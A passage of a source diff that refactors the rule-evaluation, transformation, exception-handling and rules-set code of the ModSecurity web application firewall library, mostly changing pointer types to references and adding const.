+14,9 @@ * */ +#ifndef SRC_RULE_SCRIPT_H_ +#define SRC_RULE_SCRIPT_H_ + #include #include #include @@ -33,9 +36,6 @@ #include "src/actions/severity.h" #include "src/variables/variable.h" -#ifndef SRC_RULE_SCRIPT_H_ -#define SRC_RULE_SCRIPT_H_ - namespace modsecurity { @@ -47,18 +47,19 @@ class RuleScript : public RuleWithActions { RuleScript(const std::string &name, std::vector *actions, Transformations *t, - std::unique_ptr fileName, + const std::string &fileName, int lineNumber) - : RuleWithActions(actions, t, std::move(fileName), lineNumber), + : RuleWithActions(actions, t, fileName, lineNumber), m_name(name), m_lua() { } - RuleScript(const RuleWithActions& r) = delete; + RuleScript(const RuleScript& r) = delete; + + RuleScript &operator=(const RuleScript &r) = delete; bool init(std::string *err); - bool evaluate(Transaction *trans, - std::shared_ptr ruleMessage) override; + bool evaluate(Transaction *trans, RuleMessage &ruleMessage) override; std::string m_name; engine::Lua m_lua; diff --git a/src/rule_unconditional.cc b/src/rule_unconditional.cc index e6bacd666a..0bbef40e80 100644 --- a/src/rule_unconditional.cc +++ b/src/rule_unconditional.cc @@ -20,7 +20,7 @@ namespace modsecurity { bool RuleUnconditional::evaluate(Transaction *trans, - std::shared_ptr ruleMessage) { + RuleMessage &ruleMessage) { RuleWithActions::evaluate(trans, ruleMessage); // FIXME: This needs to be romeved on the runtime exeption review. diff --git a/src/rule_with_actions.cc b/src/rule_with_actions.cc index 04ee219c4b..f6642b67e6 100644 --- a/src/rule_with_actions.cc +++ b/src/rule_with_actions.cc @@ -17,6 +17,7 @@ #include +#include #include #include #include @@ -24,6 +25,7 @@ #include #include #include +#include #include "modsecurity/rules_set.h" #include "src/operators/operator.h" @@ -57,9 +59,9 @@ using actions::transformations::Transformation; RuleWithActions::RuleWithActions( Actions *actions, Transformations *transformations, - std::unique_ptr fileName, + const std::string &fileName, int lineNumber) - : Rule(std::move(fileName), lineNumber), + : Rule(fileName, lineNumber), m_rev(""), m_ver(""), m_accuracy(0), @@ -86,45 +88,50 @@ RuleWithActions::RuleWithActions( if (actions) { for (Action *a : *actions) { - if (a->action_kind == Action::ConfigurationKind) { - a->evaluate(this, NULL); - delete a; - - } else if (a->action_kind == Action::RunTimeOnlyIfMatchKind) { - if (dynamic_cast(a)) { - m_containsCaptureAction = true; - delete a; - } else if (dynamic_cast(a)) { - m_containsMultiMatchAction = true; + switch (a->action_kind) { + case Action::Kind::ConfigurationKind: + a->evaluate(this, NULL); delete a; - } else if (dynamic_cast(a)) { - m_severity = dynamic_cast(a); - } else if (dynamic_cast(a)) { - m_logData = dynamic_cast(a); - } else if (dynamic_cast(a)) { - m_msg = dynamic_cast(a); - } else if (dynamic_cast(a)) { - m_actionsSetVar.push_back( - dynamic_cast(a)); - } else if (dynamic_cast(a)) { - m_actionsTag.push_back(dynamic_cast(a)); - } else if (dynamic_cast(a)) { - m_actionsRuntimePos.push_back(a); - m_containsStaticBlockAction = true; - } else if (a->isDisruptive() == true) { - if (m_disruptiveAction != nullptr) { - delete m_disruptiveAction; - m_disruptiveAction = nullptr; + break; + case Action::Kind::RunTimeOnlyIfMatchKind: + if (dynamic_cast(a)) { + m_containsCaptureAction = true; + delete a; + } else if (dynamic_cast(a)) { + m_containsMultiMatchAction = true; + delete a; + } else if (auto sa = dynamic_cast(a)) { + m_severity = sa; + } else if (auto lda = dynamic_cast(a)) { // cppcheck-suppress unreadVariable ; false positive + m_logData = lda; + } else if (auto ma = dynamic_cast(a)) { // cppcheck-suppress unreadVariable ; false positive + m_msg = ma; + } else if (auto sva = dynamic_cast(a)) { + m_actionsSetVar.push_back(sva); + } else if (auto ta = dynamic_cast(a)) { + m_actionsTag.push_back(ta); + } else if (dynamic_cast(a)) { + m_actionsRuntimePos.push_back(a); + m_containsStaticBlockAction = true; + } else if (a->isDisruptive() == true) { + if (m_disruptiveAction != nullptr) { + delete m_disruptiveAction; + m_disruptiveAction = nullptr; + } + m_disruptiveAction = a; + } else { + m_actionsRuntimePos.push_back(a); } - m_disruptiveAction = a; - } else { - m_actionsRuntimePos.push_back(a); - } - } else { - delete a; - std::cout << "General failure, action: " << a->m_name; - std::cout << " has an unknown type." << std::endl; - throw; + break; + default: + std::cout << "General failure, action: " << a->m_name; + std::cout << " has an unknown type." << std::endl; + delete a; + #ifdef NDEBUG + break; + #else + assert(false); + #endif } } delete actions; @@ -172,14 +179,13 @@ RuleWithActions::~RuleWithActions() { bool RuleWithActions::evaluate(Transaction *transaction) { - RuleMessage rm(this, transaction); - std::shared_ptr rm2 = std::make_shared(&rm); - return evaluate(transaction, rm2); + RuleMessage rm(*this, *transaction); + return evaluate(transaction, rm); } bool RuleWithActions::evaluate(Transaction *transaction, - std::shared_ptr ruleMessage) { + RuleMessage &ruleMessage) { /* Rule evaluate is pure virtual. * @@ -194,7 +200,7 @@ bool RuleWithActions::evaluate(Transaction *transaction, void RuleWithActions::executeActionsIndependentOfChainedRuleResult(Transaction *trans, - bool *containsBlock, std::shared_ptr ruleMessage) { + bool *containsBlock, RuleMessage &ruleMessage) { for (actions::SetVar *a : m_actionsSetVar) { ms_dbg_a(trans, 4, "Running [independent] (non-disruptive) " \ @@ -208,7 +214,7 @@ void RuleWithActions::executeActionsIndependentOfChainedRuleResult(Transaction * if (m_ruleId != b.first) { continue; } - actions::Action *a = dynamic_cast(b.second.get()); + actions::Action *a = b.second.get(); if (a->isDisruptive() == true && *a->m_name.get() == "block") { ms_dbg_a(trans, 9, "Rule contains a `block' action"); *containsBlock = true; @@ -238,11 +244,11 @@ void RuleWithActions::executeActionsIndependentOfChainedRuleResult(Transaction * void RuleWithActions::executeActionsAfterFullMatch(Transaction *trans, - bool containsBlock, std::shared_ptr ruleMessage) { + bool containsBlock, RuleMessage &ruleMessage) { bool disruptiveAlreadyExecuted = false; - for (auto &a : trans->m_rules->m_defaultActions[getPhase()]) { - if (a.get()->action_kind != actions::Action::RunTimeOnlyIfMatchKind) { + for (const auto &a : trans->m_rules->m_defaultActions[getPhase()]) { // cppcheck-suppress ctunullpointer + if (a.get()->action_kind != actions::Action::Kind::RunTimeOnlyIfMatchKind) { continue; } if (!a.get()->isDisruptive()) { @@ -261,7 +267,7 @@ void RuleWithActions::executeActionsAfterFullMatch(Transaction *trans, if (m_ruleId != b.first) { continue; } - actions::Action *a = dynamic_cast(b.second.get()); + actions::Action *a = b.second.get(); executeAction(trans, containsBlock, ruleMessage, a, false); disruptiveAlreadyExecuted = true; } @@ -291,7 +297,7 @@ void RuleWithActions::executeActionsAfterFullMatch(Transaction *trans, void RuleWithActions::executeAction(Transaction *trans, - bool containsBlock, std::shared_ptr ruleMessage, + bool containsBlock, RuleMessage &ruleMessage, Action *a, bool defaultContext) { if (a->isDisruptive() == false && *a->m_name.get() != "block") { ms_dbg_a(trans, 9, "Running " \ @@ -319,53 +325,45 @@ void RuleWithActions::executeAction(Transaction *trans, inline void RuleWithActions::executeTransformation( - actions::transformations::Transformation *a, - std::shared_ptr *value, - Transaction *trans, - TransformationResults *ret, - std::string *path, - int *nth) const { - - std::string *oldValue = (*value).get(); - std::string newValue = a->evaluate(*oldValue, trans); - - if (newValue != *oldValue) { - std::shared_ptr u(new std::string(newValue)); - if (m_containsMultiMatchAction) { - ret->push_back(std::make_pair(u, a->m_name)); - (*nth)++; - } - *value = u; + const actions::transformations::Transformation &a, + std::string &value, + const Transaction *trans, + TransformationResults &ret, + std::string &path, + int &nth) const { + + if (a.transform(value, trans) && + m_containsMultiMatchAction) { + ret.emplace_back(value, a.m_name); + nth++; } - if (path->empty()) { - path->append(*a->m_name.get()); + if (path.empty()) { + path.append(*a.m_name.get()); } else { - path->append("," + *a->m_name.get()); + path.append("," + *a.m_name.get()); } ms_dbg_a(trans, 9, " T (" + \ - std::to_string(*nth) + ") " + \ - *a->m_name.get() + ": \"" + \ - utils::string::limitTo(80, newValue) +"\""); + std::to_string(nth) + ") " + \ + *a.m_name.get() + ": \"" + \ + utils::string::limitTo(80, value) +"\""); } void RuleWithActions::executeTransformations( - Transaction *trans, const std::string &in, TransformationResults &ret) { + const Transaction *trans, const std::string &in, TransformationResults &ret) { int none = 0; int transformations = 0; - std::string path(""); - std::shared_ptr value = - std::shared_ptr(new std::string(in)); + std::string path; + auto value = in; if (m_containsMultiMatchAction == true) { /* keep the original value */ - ret.push_back(std::make_pair( - std::shared_ptr(new std::string(*value)), - std::shared_ptr(new std::string(path)))); + ret.emplace_back(value, + std::make_shared(path)); } - for (Action *a : m_transformations) { + for (const Action *a : m_transformations) { if (a->m_isNone) { none++; } @@ -377,22 +375,23 @@ void RuleWithActions::executeTransformations( if (none == 0) { for (auto &a : trans->m_rules->m_defaultActions[getPhase()]) { if (a->action_kind \ - != actions::Action::RunTimeBeforeMatchAttemptKind) { + != actions::Action::Kind::RunTimeBeforeMatchAttemptKind) { continue; } // FIXME: here the object needs to be a transformation already. - Transformation *t = dynamic_cast(a.get()); - executeTransformation(t, &value, trans, &ret, &path, - &transformations); + auto t = dynamic_cast(a.get()); + assert(t != nullptr); + executeTransformation(*t, value, trans, ret, path, + transformations); } } - for (Transformation *a : m_transformations) { + for (const Transformation *a : m_transformations) { + assert(a != nullptr); if (none == 0) { - Transformation *t = dynamic_cast(a); - executeTransformation(t, &value, trans, &ret, &path, - &transformations); + executeTransformation(*a, value, trans, ret, path, + transformations); } if (a->m_isNone) { none--; @@ -406,7 +405,8 @@ void RuleWithActions::executeTransformations( if (m_ruleId != b.first) { continue; } - Transformation *a = dynamic_cast(b.second.get()); + auto a = dynamic_cast(b.second.get()); + assert(a != nullptr); if (a->m_isNone) { none++; } @@ -417,11 +417,11 @@ void RuleWithActions::executeTransformations( if (m_ruleId != b.first) { continue; } - Transformation *a = dynamic_cast(b.second.get()); + auto a = dynamic_cast(b.second.get()); + assert(a != nullptr); if (none == 0) { - Transformation *t = dynamic_cast(a); - executeTransformation(t, &value, trans, &ret, &path, - &transformations); + executeTransformation(*a, value, trans, ret, path, + transformations); } if (a->m_isNone) { none--; @@ -435,9 +435,8 @@ void RuleWithActions::executeTransformations( } if (!m_containsMultiMatchAction) { - ret.push_back(std::make_pair( - std::shared_ptr(new std::string(*value)), - std::shared_ptr(new std::string(path)))); + ret.emplace_back(value, + std::make_shared(path)); } } @@ -458,7 +457,7 @@ bool RuleWithActions::containsMsg(const std::string& name, Transaction *t) { std::vector RuleWithActions::getActionsByName(const std::string& name, - Transaction *trans) { + const Transaction *trans) { std::vector ret; for (auto &z : m_actionsRuntimePos) { if (*z->m_name.get() == name) { @@ -475,7 +474,7 @@ std::vector RuleWithActions::getActionsByName(const std::stri if (m_ruleId != b.first) { continue; } - actions::Action *z = dynamic_cast(b.second.get()); + actions::Action *z = b.second.get(); if (*z->m_name.get() == name) { ret.push_back(z); } @@ -485,7 +484,7 @@ std::vector RuleWithActions::getActionsByName(const std::stri if (m_ruleId != b.first) { continue; } - actions::Action *z = dynamic_cast(b.second.get()); + actions::Action *z = b.second.get(); if (*z->m_name.get() == name) { ret.push_back(z); } @@ -494,12 +493,12 @@ std::vector RuleWithActions::getActionsByName(const std::stri } void RuleWithActions::performLogging(Transaction *trans, - std::shared_ptr ruleMessage, + RuleMessage &ruleMessage, bool lastLog, - bool chainedParentNull) { + bool chainedParentNull) const { /* last rule in the chain. */ - bool isItToBeLogged = ruleMessage->m_saveMessage; + bool isItToBeLogged = ruleMessage.m_saveMessage; /** * @@ -514,31 +513,31 @@ void RuleWithActions::performLogging(Transaction *trans, **/ if (lastLog) { if (chainedParentNull) { - isItToBeLogged = (ruleMessage->m_saveMessage && (m_chainedRuleParent == nullptr)); + isItToBeLogged = (ruleMessage.m_saveMessage && (m_chainedRuleParent == nullptr)); if (isItToBeLogged && !hasMultimatch()) { /* warn */ - trans->m_rulesMessages.push_back(*ruleMessage); + trans->m_rulesMessages.push_back(ruleMessage); /* error */ - if (!ruleMessage->m_isDisruptive) { + if (!ruleMessage.m_isDisruptive) { trans->serverLog(ruleMessage); } } } else if (hasBlockAction() && !hasMultimatch()) { /* warn */ - trans->m_rulesMessages.push_back(*ruleMessage); + trans->m_rulesMessages.push_back(ruleMessage); /* error */ - if (!ruleMessage->m_isDisruptive) { + if (!ruleMessage.m_isDisruptive) { trans->serverLog(ruleMessage); } } else { if (isItToBeLogged && !hasMultimatch() - && !ruleMessage->m_message.empty()) { + && !ruleMessage.m_message.empty()) { /* warn */ - trans->m_rulesMessages.push_back(*ruleMessage); + trans->m_rulesMessages.push_back(ruleMessage); /* error */ - if (!ruleMessage->m_isDisruptive) { + if (!ruleMessage.m_isDisruptive) { trans->serverLog(ruleMessage); } } @@ -546,16 +545,14 @@ void RuleWithActions::performLogging(Transaction *trans, } else { if (hasMultimatch() && isItToBeLogged) { /* warn */ - trans->m_rulesMessages.push_back(*ruleMessage.get()); + trans->m_rulesMessages.push_back(ruleMessage); /* error */ - if (!ruleMessage->m_isDisruptive) { + if (!ruleMessage.m_isDisruptive) { trans->serverLog(ruleMessage); } - RuleMessage *rm = new RuleMessage(this, trans); - rm->m_saveMessage = ruleMessage->m_saveMessage; - ruleMessage.reset(rm); + ruleMessage.reset(false); } } } diff --git a/src/rule_with_operator.cc b/src/rule_with_operator.cc index d218f14b8c..9c356b8fb0 100644 --- a/src/rule_with_operator.cc +++ b/src/rule_with_operator.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -55,9 +55,9 @@ RuleWithOperator::RuleWithOperator(Operator *op, variables::Variables *_variables, std::vector *actions, Transformations *transformations, - std::unique_ptr fileName, + const std::string &fileName, int lineNumber) - : RuleWithActions(actions, transformations, std::move(fileName), lineNumber), + : RuleWithActions(actions, transformations, fileName, lineNumber), m_variables(_variables), m_operator(op) { /* */ } @@ -90,18 +90,8 @@ void RuleWithOperator::updateMatchedVars(Transaction *trans, const std::string & } -void RuleWithOperator::cleanMatchedVars(Transaction *trans) { - ms_dbg_a(trans, 9, "Matched vars cleaned."); - trans->m_variableMatchedVar.unset(); - trans->m_variableMatchedVars.unset(); - trans->m_variableMatchedVarName.unset(); - trans->m_variableMatchedVarsNames.unset(); -} - - - bool RuleWithOperator::executeOperatorAt(Transaction *trans, const std::string &key, - const std::string &value, std::shared_ptr ruleMessage) { + const std::string &value, RuleMessage &ruleMessage) { #if MSC_EXEC_CLOCK_ENABLED clock_t begin = clock(); clock_t end; @@ -130,74 +120,68 @@ bool RuleWithOperator::executeOperatorAt(Transaction *trans, const std::string & } -void RuleWithOperator::getVariablesExceptions(Transaction *t, - variables::Variables *exclusion, variables::Variables *addition) { - for (auto &a : t->m_rules->m_exceptions.m_variable_update_target_by_tag) { - if (containsTag(*a.first.get(), t) == false) { - continue; - } - Variable *b = a.second.get(); - if (dynamic_cast(b)) { - exclusion->push_back( - dynamic_cast( - b)->m_base.get()); - } else { - addition->push_back(b); +template +void getVariablesExceptionsHelper( + variables::Variables *exclusion, variables::Variables *addition, + const MapType &map, Operation op) { + for (const auto &[x, v] : map) { + if (op(x)) { + auto b = v.get(); + if (auto vme = dynamic_cast(b)) { + exclusion->push_back(vme->m_base.get()); + } else { + addition->push_back(b); + } } } +} - for (auto &a : t->m_rules->m_exceptions.m_variable_update_target_by_msg) { - if (containsMsg(*a.first.get(), t) == false) { - continue; - } - Variable *b = a.second.get(); - if (dynamic_cast(b)) { - exclusion->push_back( - dynamic_cast( - b)->m_base.get()); - } else { - addition->push_back(b); - } - } - for (auto &a : t->m_rules->m_exceptions.m_variable_update_target_by_id) { - if (m_ruleId != a.first) { - continue; - } - Variable *b = a.second.get(); - if (dynamic_cast(b)) { - exclusion->push_back( - dynamic_cast( - b)->m_base.get()); - } else { - addition->push_back(b); - } - } +void RuleWithOperator::getVariablesExceptions(Transaction &t, + variables::Variables *exclusion, variables::Variables *addition) { + getVariablesExceptionsHelper(exclusion, addition, + t.m_rules->m_exceptions.m_variable_update_target_by_tag, + [this, &t](const auto &tag) { return containsTag(*tag.get(), &t); }); + + getVariablesExceptionsHelper(exclusion, addition, + t.m_rules->m_exceptions.m_variable_update_target_by_msg, + [this, &t](const auto &msg) { return containsMsg(*msg.get(), &t); }); + + getVariablesExceptionsHelper(exclusion, addition, + t.m_rules->m_exceptions.m_variable_update_target_by_id, + [this](const auto &id) { return m_ruleId == id; }); } inline void RuleWithOperator::getFinalVars(variables::Variables *vars, variables::Variables *exclusion, Transaction *trans) { variables::Variables addition; - getVariablesExceptions(trans, exclusion, &addition); + getVariablesExceptions(*trans, exclusion, &addition); // cppcheck-suppress ctunullpointer - for (int i = 0; i < m_variables->size(); i++) { + for (std::size_t i = 0; i < m_variables->size(); i++) { Variable *variable = m_variables->at(i); if (exclusion->contains(variable)) { continue; } if (std::find_if(trans->m_ruleRemoveTargetById.begin(), trans->m_ruleRemoveTargetById.end(), - [&, variable, this](std::pair &m) -> bool { - return m.first == m_ruleId - && m.second == *variable->m_fullName.get(); + [&, variable, this](const auto &m) -> bool { + const auto& str1 = m.second; + const auto& str2 = *variable->m_fullName.get(); + return m.first == m_ruleId && + str1.size() == str2.size() && + std::equal(str1.begin(), str1.end(), str2.begin(), + [](char a, char b) { + return std::tolower(static_cast(a)) == + std::tolower(static_cast(b)); + }); // end-of std::equal }) != trans->m_ruleRemoveTargetById.end()) { continue; } if (std::find_if(trans->m_ruleRemoveTargetByTag.begin(), trans->m_ruleRemoveTargetByTag.end(), [&, variable, trans, this]( - std::pair &m) -> bool { + const auto &m) -> bool { return containsTag(m.first, trans) && m.second == *variable->m_fullName.get(); }) != trans->m_ruleRemoveTargetByTag.end()) { @@ -206,17 +190,15 @@ inline void RuleWithOperator::getFinalVars(variables::Variables *vars, vars->push_back(variable); } - for (int i = 0; i < addition.size(); i++) { - Variable *variable = addition.at(i); + for (auto *variable : addition) { vars->push_back(variable); } } bool RuleWithOperator::evaluate(Transaction *trans, - std::shared_ptr ruleMessage) { + RuleMessage &ruleMessage) { bool globalRet = false; - variables::Variables *variables = this->m_variables; bool recursiveGlobalRet; bool containsBlock = hasBlockAction(); std::string eparam; @@ -228,7 +210,7 @@ bool RuleWithOperator::evaluate(Transaction *trans, // FIXME: Make a class runTimeException to handle this cases. - for (auto &i : trans->m_ruleRemoveById) { + for (const auto &i : trans->m_ruleRemoveById) { if (m_ruleId != i) { continue; } @@ -236,7 +218,7 @@ bool RuleWithOperator::evaluate(Transaction *trans, " was skipped due to a ruleRemoveById action..."); return true; } - for (auto &i : trans->m_ruleRemoveByIdRange) { + for (const auto &i : trans->m_ruleRemoveByIdRange) { if (!(i.first <= m_ruleId && i.second >= m_ruleId)) { continue; } @@ -259,12 +241,12 @@ bool RuleWithOperator::evaluate(Transaction *trans, + "\" with param " \ + eparam \ + " against " \ - + variables + "."); + + m_variables + "."); } else { ms_dbg_a(trans, 4, "(Rule: " + std::to_string(m_ruleId) \ + ") Executing operator \"" + getOperatorName() \ + " against " \ - + variables + "."); + + m_variables + "."); } @@ -283,23 +265,23 @@ bool RuleWithOperator::evaluate(Transaction *trans, if (exclusion.contains(v) || std::find_if(trans->m_ruleRemoveTargetById.begin(), trans->m_ruleRemoveTargetById.end(), - [&, v, this](std::pair &m) -> bool { + [&, v, this](const auto &m) -> bool { return m.first == m_ruleId && m.second == v->getKeyWithCollection(); }) != trans->m_ruleRemoveTargetById.end() ) { delete v; - v = NULL; + v = nullptr; continue; } if (exclusion.contains(v) || std::find_if(trans->m_ruleRemoveTargetByTag.begin(), trans->m_ruleRemoveTargetByTag.end(), - [&, v, trans, this](std::pair &m) -> bool { + [&, v, trans, this](const auto &m) -> bool { return containsTag(m.first, trans) && m.second == v->getKeyWithCollection(); }) != trans->m_ruleRemoveTargetByTag.end() ) { delete v; - v = NULL; + v = nullptr; continue; } @@ -308,19 +290,18 @@ bool RuleWithOperator::evaluate(Transaction *trans, executeTransformations(trans, value, values); for (const auto &valueTemp : values) { - bool ret; - std::string valueAfterTrans = std::move(*valueTemp.first); + const auto &valueAfterTrans = valueTemp.first; - ret = executeOperatorAt(trans, key, valueAfterTrans, ruleMessage); + const bool ret = executeOperatorAt(trans, key, valueAfterTrans, ruleMessage); if (ret == true) { - ruleMessage->m_match = m_operator->resolveMatchMessage(trans, + ruleMessage.m_match = m_operator->resolveMatchMessage(trans, key, value); - for (auto &i : v->getOrigin()) { - ruleMessage->m_reference.append(i->toText()); + for (const auto &i : v->getOrigin()) { + ruleMessage.m_reference.append(i.toText()); } - ruleMessage->m_reference.append(*valueTemp.second); + ruleMessage.m_reference.append(*valueTemp.second); updateMatchedVars(trans, key, valueAfterTrans); executeActionsIndependentOfChainedRuleResult(trans, &containsBlock, ruleMessage); @@ -339,7 +320,6 @@ bool RuleWithOperator::evaluate(Transaction *trans, if (globalRet == false) { ms_dbg_a(trans, 4, "Rule returned 0."); - cleanMatchedVars(trans); goto end_clean; } ms_dbg_a(trans, 4, "Rule returned 1."); @@ -374,7 +354,7 @@ bool RuleWithOperator::evaluate(Transaction *trans, } -std::string RuleWithOperator::getOperatorName() const { return m_operator->m_op; } +const std::string& RuleWithOperator::getOperatorName() const { return m_operator->m_op; } } // namespace modsecurity diff --git a/src/rules_exceptions.cc b/src/rules_exceptions.cc index 2c22d16fc9..2fb0cf857f 100644 --- a/src/rules_exceptions.cc +++ b/src/rules_exceptions.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -36,15 +36,15 @@ bool RulesExceptions::loadUpdateActionById(double id, std::string *error) { for (auto &a : *actions) { - if (a->action_kind == actions::Action::ConfigurationKind) { + if (a->action_kind == actions::Action::Kind::ConfigurationKind) { std::cout << "General failure, action: " << a->m_name; std::cout << " has not expected to be used with UpdateActionByID."; std::cout << std::endl; } else if (a->action_kind - == actions::Action::RunTimeBeforeMatchAttemptKind) { + == actions::Action::Kind::RunTimeBeforeMatchAttemptKind) { m_action_pre_update_target_by_id.emplace(std::pair>(id , std::move(a))); - } else if (a->action_kind == actions::Action::RunTimeOnlyIfMatchKind) { + } else if (a->action_kind == actions::Action::Kind::RunTimeOnlyIfMatchKind) { m_action_pos_update_target_by_id.emplace(std::pair>(id , std::move(a))); } else { @@ -58,7 +58,7 @@ bool RulesExceptions::loadUpdateActionById(double id, bool RulesExceptions::loadRemoveRuleByMsg(const std::string &msg, - std::string *error) { + const std::string *error) { m_remove_rule_by_msg.push_back(msg); return true; @@ -66,7 +66,7 @@ bool RulesExceptions::loadRemoveRuleByMsg(const std::string &msg, bool RulesExceptions::loadRemoveRuleByTag(const std::string &msg, - std::string *error) { + const std::string *error) { m_remove_rule_by_tag.push_back(msg); return true; @@ -122,7 +122,7 @@ bool RulesExceptions::loadUpdateTargetById(double id, bool RulesExceptions::load(const std::string &a, std::string *error) { bool added = false; std::vector toRemove = utils::string::ssplit(a, ' '); - for (std::string &r : toRemove) { + for (const std::string &r : toRemove) { std::string b = modsecurity::utils::string::parserSanitizer(r); if (b.size() == 0) { continue; @@ -254,11 +254,11 @@ bool RulesExceptions::merge(RulesExceptions *from) { p.second)); } - for (auto &p : from->m_remove_rule_by_msg) { + for (const auto &p : from->m_remove_rule_by_msg) { m_remove_rule_by_msg.push_back(p); } - for (auto &p : from->m_remove_rule_by_tag) { + for (const auto &p : from->m_remove_rule_by_tag) { m_remove_rule_by_tag.push_back(p); } diff --git a/src/rules_set.cc b/src/rules_set.cc index 40f1f950bc..96bfa689ad 100644 --- a/src/rules_set.cc +++ b/src/rules_set.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -101,17 +101,29 @@ int RulesSet::load(const char *plainRules) { } -std::string RulesSet::getParserError() { +std::string RulesSet::getParserError() const { return this->m_parserError.str(); } +std::string RulesSet::getParserError() { + return static_cast(*this).getParserError(); +} + +void RulesSet::cleanMatchedVars(Transaction *trans) { + ms_dbg_a(trans, 9, "Matched vars cleaned."); + // cppcheck-suppress ctunullpointer + trans->m_variableMatchedVar.unset(); + trans->m_variableMatchedVars.unset(); + trans->m_variableMatchedVarName.unset(); + trans->m_variableMatchedVarsNames.unset(); +} int RulesSet::evaluate(int phase, Transaction *t) { if (phase >= modsecurity::Phases::NUMBER_OF_PHASES) { return 0; } - Rules *rules = m_rulesSetPhases[phase]; + const Rules *rules = m_rulesSetPhases[phase]; ms_dbg_a(t, 9, "This phase consists of " \ + std::to_string(rules->size()) + " rule(s)."); @@ -162,7 +174,7 @@ int RulesSet::evaluate(int phase, Transaction *t) { } bool remove_rule = false; if (ruleWithActions && m_exceptions.m_remove_rule_by_msg.empty() == false) { - for (auto &z : m_exceptions.m_remove_rule_by_msg) { + for (const auto &z : m_exceptions.m_remove_rule_by_msg) { if (ruleWithActions->containsMsg(z, t) == true) { ms_dbg_a(t, 9, "Skipped rule id '" \ + ruleWithActions->getReference() \ @@ -177,7 +189,7 @@ int RulesSet::evaluate(int phase, Transaction *t) { } if (ruleWithActions && m_exceptions.m_remove_rule_by_tag.empty() == false) { - for (auto &z : m_exceptions.m_remove_rule_by_tag) { + for (const auto &z : m_exceptions.m_remove_rule_by_tag) { if (ruleWithActions->containsTag(z, t) == true) { ms_dbg_a(t, 9, "Skipped rule id '" \ + ruleWithActions->getReference() \ @@ -193,7 +205,7 @@ int RulesSet::evaluate(int phase, Transaction *t) { if (ruleWithActions) { - for (auto &z : t->m_ruleRemoveByTag) { + for (const auto &z : t->m_ruleRemoveByTag) { if (ruleWithActions->containsTag(z, t) == true) { ms_dbg_a(t, 9, "Skipped rule id '" \ + ruleWithActions->getReference() \ @@ -208,6 +220,7 @@ int RulesSet::evaluate(int phase, Transaction *t) { } rule->evaluate(t); + cleanMatchedVars(t); if (t->m_it.disruptive > 0) { ms_dbg_a(t, 8, "Skipping this phase as this " \ @@ -266,7 +279,7 @@ extern "C" RulesSet *msc_create_rules_set(void) { } -extern "C" void msc_rules_dump(RulesSet *rules) { +extern "C" void msc_rules_dump(const RulesSet *rules) { rules->dump(); } @@ -311,6 +324,21 @@ extern "C" int msc_rules_add(RulesSet *rules, const char *plain_rules, } +/** + * @name msc_rules_error_cleanup + * @brief Deallocates an error message buffer returned by a msc_rules_xxx function. + * + * This is a helper function to free the error message buffer allocated + * by a msc_rules_xxx function. + * + * @param error Error message pointer. + * + */ +extern "C" void msc_rules_error_cleanup(const char *error) { + free((void*) error); +} + + extern "C" int msc_rules_cleanup(RulesSet *rules) { delete rules; return true; diff --git a/src/rules_set_phases.cc b/src/rules_set_phases.cc index 1d93330caa..a781930498 100644 --- a/src/rules_set_phases.cc +++ b/src/rules_set_phases.cc @@ -45,8 +45,8 @@ int RulesSetPhases::append(RulesSetPhases *from, std::ostringstream *err) { for (int i = 0; i < modsecurity::Phases::NUMBER_OF_PHASES; i++) { v.reserve(m_rulesAtPhase[i].size()); - for (size_t z = 0; z < m_rulesAtPhase[i].size(); z++) { - RuleWithOperator *rule_ckc = dynamic_cast(m_rulesAtPhase[i].at(z).get()); + for (const auto &r : m_rulesAtPhase[i].m_rules) { + const auto *rule_ckc = dynamic_cast(r.get()); if (!rule_ckc) { continue; } diff --git a/src/rules_set_properties.cc b/src/rules_set_properties.cc index ffb37e7689..47530c40b3 100644 --- a/src/rules_set_properties.cc +++ b/src/rules_set_properties.cc @@ -19,6 +19,10 @@ #include "src/utils/string.h" #include "src/variables/variable.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif + namespace modsecurity { @@ -26,13 +30,10 @@ void ConfigUnicodeMap::loadConfig(std::string f, double configCodePage, RulesSetProperties *driver, std::string *errg) { char *buf = NULL; char *hmap = NULL; - char *p = NULL; + const char *p = NULL; char *savedptr = NULL; - char *ucode = NULL; - int code = 0; int found = 0; int length = 0; - int Map = 0; int processing = 0; driver->m_unicodeMapTable.m_set = true; @@ -97,11 +98,11 @@ void ConfigUnicodeMap::loadConfig(std::string f, double configCodePage, processing = 1; if (mapping != NULL) { - ucode = strtok_r(mapping, ":", &hmap); - sscanf(ucode, "%x", &code); - sscanf(hmap, "%x", &Map); + const char *ucode = strtok_r(mapping, ":", &hmap); + int code = strtol(ucode, nullptr, 16); + int map = strtol(hmap, nullptr, 16); if (code >= 0 && code <= 65535) { - driver->m_unicodeMapTable.m_unicodeMapTable->change(code, Map); + driver->m_unicodeMapTable.m_unicodeMapTable->change(code, map); } free(mapping); diff --git a/src/run_time_string.cc b/src/run_time_string.cc index f2dfa686f2..45f298bc3d 100644 --- a/src/run_time_string.cc +++ b/src/run_time_string.cc @@ -31,7 +31,7 @@ namespace modsecurity { void RunTimeString::appendText(const std::string &text) { - std::unique_ptr r(new RunTimeElementHolder); + auto r = std::make_unique(); r->m_string = text; m_elements.push_back(std::move(r)); } @@ -39,7 +39,7 @@ void RunTimeString::appendText(const std::string &text) { void RunTimeString::appendVar( std::unique_ptr var) { - std::unique_ptr r(new RunTimeElementHolder); + auto r = std::make_unique(); r->m_var = std::move(var); m_elements.push_back(std::move(r)); m_containsMacro = true; diff --git a/src/transaction.cc b/src/transaction.cc index c294d7f33c..792ac0bd76 100644 --- a/src/transaction.cc +++ b/src/transaction.cc @@ -53,6 